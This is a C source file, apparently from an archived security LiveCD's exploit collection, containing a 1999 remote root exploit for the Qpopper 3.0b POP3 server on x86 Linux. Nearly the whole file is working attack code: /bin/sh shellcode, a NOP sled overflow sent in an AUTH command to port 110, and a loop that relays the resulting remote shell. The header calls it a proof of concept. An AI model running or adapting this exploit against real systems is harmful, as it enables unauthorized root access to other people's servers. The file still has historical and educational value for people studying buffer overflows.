home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / qpopper3exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  172 lines

  1. /*
  2.  * Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
  3.  *
  4.  * Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
  5.  *
  6.  * Exploits pop_msg buffer overflow to spawn a remote root shell.
  7.  * This probably works with the old qpop2 code for bsd, solaris anyone?
  8.  * 
  9.  * WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
  10.  * PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
  11.  * DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <string.h>
  16. #include <unistd.h>
  17. #include <stdlib.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <arpa/inet.h>
  22. #include <netdb.h>
  23. #include <errno.h>
  24.  
  25. #define NOP        0x90
  26. #define LEN        1032
  27. #define CODESTART    880
  28. #define RET        0xbfffd655
  29.  
  30. /* x86 linux shellcode. this can be a simple execve to /bin/sh on all
  31.    systems, but MUST NOT contain the characters 'x17' or 'x0c' because
  32.    that would split the exploit code into separate arg buffers        */
  33.  
  34. char *shellcode =
  35. "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
  36. "\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
  37. "\xe8\xd9\xff\xff\xff/bin/sh";
  38.  
  39. unsigned long resolve (char *);
  40. void term (int, int);
  41. unsigned long get_sp ();
  42.  
  43. int 
  44. main (int argc, char **argv)
  45. {
  46.   char buffer[LEN];
  47.   char *codeptr = shellcode;
  48.   long retaddr = RET;
  49.   int i, s;
  50.   struct sockaddr_in sin;
  51.  
  52.   if (argc < 2)
  53.     {
  54.       printf ("usage: %s <host> [offset]\n", argv[0]);
  55.       printf ("use offset -1 to try local esp\n");
  56.       exit (0);
  57.     }
  58.  
  59.   if (argc > 2)
  60.     {
  61.       if (atoi (argv[2]) == -1)
  62.     {
  63.       /* 8000 = approx. byte offset to qpopper's top of stack
  64.          at the time it prints out the auth error message */
  65.       retaddr = get_sp () - 8000 - LEN;
  66.       printf ("Using local esp as ret address...\n");
  67.     }
  68.       retaddr += atoi (argv[2]);
  69.     }
  70.  
  71.   for (i = 0; i < LEN; i++)
  72.     *(buffer + i) = NOP;
  73.  
  74.   for (i = CODESTART + 2; i < LEN; i += 4)
  75.     *(int *) &buffer[i] = retaddr;
  76.  
  77.   for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
  78.     *(buffer + i) = *(codeptr++);
  79.  
  80.   buffer[0] = 'A';
  81.   buffer[1] = 'U';
  82.   buffer[2] = 'T';
  83.   buffer[3] = 'H';
  84.   buffer[4] = ' ';
  85.  
  86.   printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");
  87.   printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",
  88.       retaddr, strlen (buffer), strlen (shellcode));
  89.  
  90.   fflush (0);
  91.  
  92.   sin.sin_family = AF_INET;
  93.   sin.sin_port = htons (110);
  94.   sin.sin_addr.s_addr = resolve (argv[1]);
  95.   s = socket (AF_INET, SOCK_STREAM, 0);
  96.  
  97.   if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)
  98.     {
  99.       perror ("connect");
  100.       exit (0);
  101.     }
  102.  
  103.   switch (write (s, buffer, strlen (buffer)))
  104.     {
  105.     case 0:
  106.     case -1:
  107.       fprintf (stderr, "write error: %s\n", strerror (errno));
  108.       break;
  109.     default:
  110.       break;
  111.     }
  112.   write (s, "\n\n", 1);
  113.   term (s, 0);
  114.  
  115.   return 0;
  116. }
  117.  
  118. unsigned long
  119. resolve (char *host)
  120. {
  121.   struct hostent *he;
  122.   struct sockaddr_in tmp;
  123.   if (inet_addr (host) != -1)
  124.     return (inet_addr (host));
  125.   he = gethostbyname (host);
  126.   if (he)
  127.     memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
  128.   else
  129.     {
  130.       perror ("gethostbyname");
  131.       exit (0);
  132.     }
  133.   return (tmp.sin_addr.s_addr);
  134. }
  135.  
  136. unsigned long
  137. get_sp (void)
  138. {
  139.   __asm__ ("movl %esp, %eax");
  140. }
  141.  
  142. void
  143. term (int p, int c)
  144. {
  145.   char buf[LEN];
  146.   fd_set rfds;
  147.   int i;
  148.  
  149.   while (1)
  150.     {
  151.       FD_ZERO (&rfds);
  152.       FD_SET (p, &rfds);
  153.       FD_SET (c, &rfds);
  154.       if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
  155.     return;
  156.       if (FD_ISSET (c, &rfds))
  157.     {
  158.       if ((i = read (c, buf, sizeof (buf))) < 1)
  159.         exit (0);
  160.       else
  161.         write (p, buf, i);
  162.     }
  163.       if (FD_ISSET (p, &rfds))
  164.     {
  165.       if ((i = read (p, buf, sizeof (buf))) < 1)
  166.         exit (0);
  167.       else
  168.         write (c, buf, i);
  169.     }
  170.     }
  171. }
  172.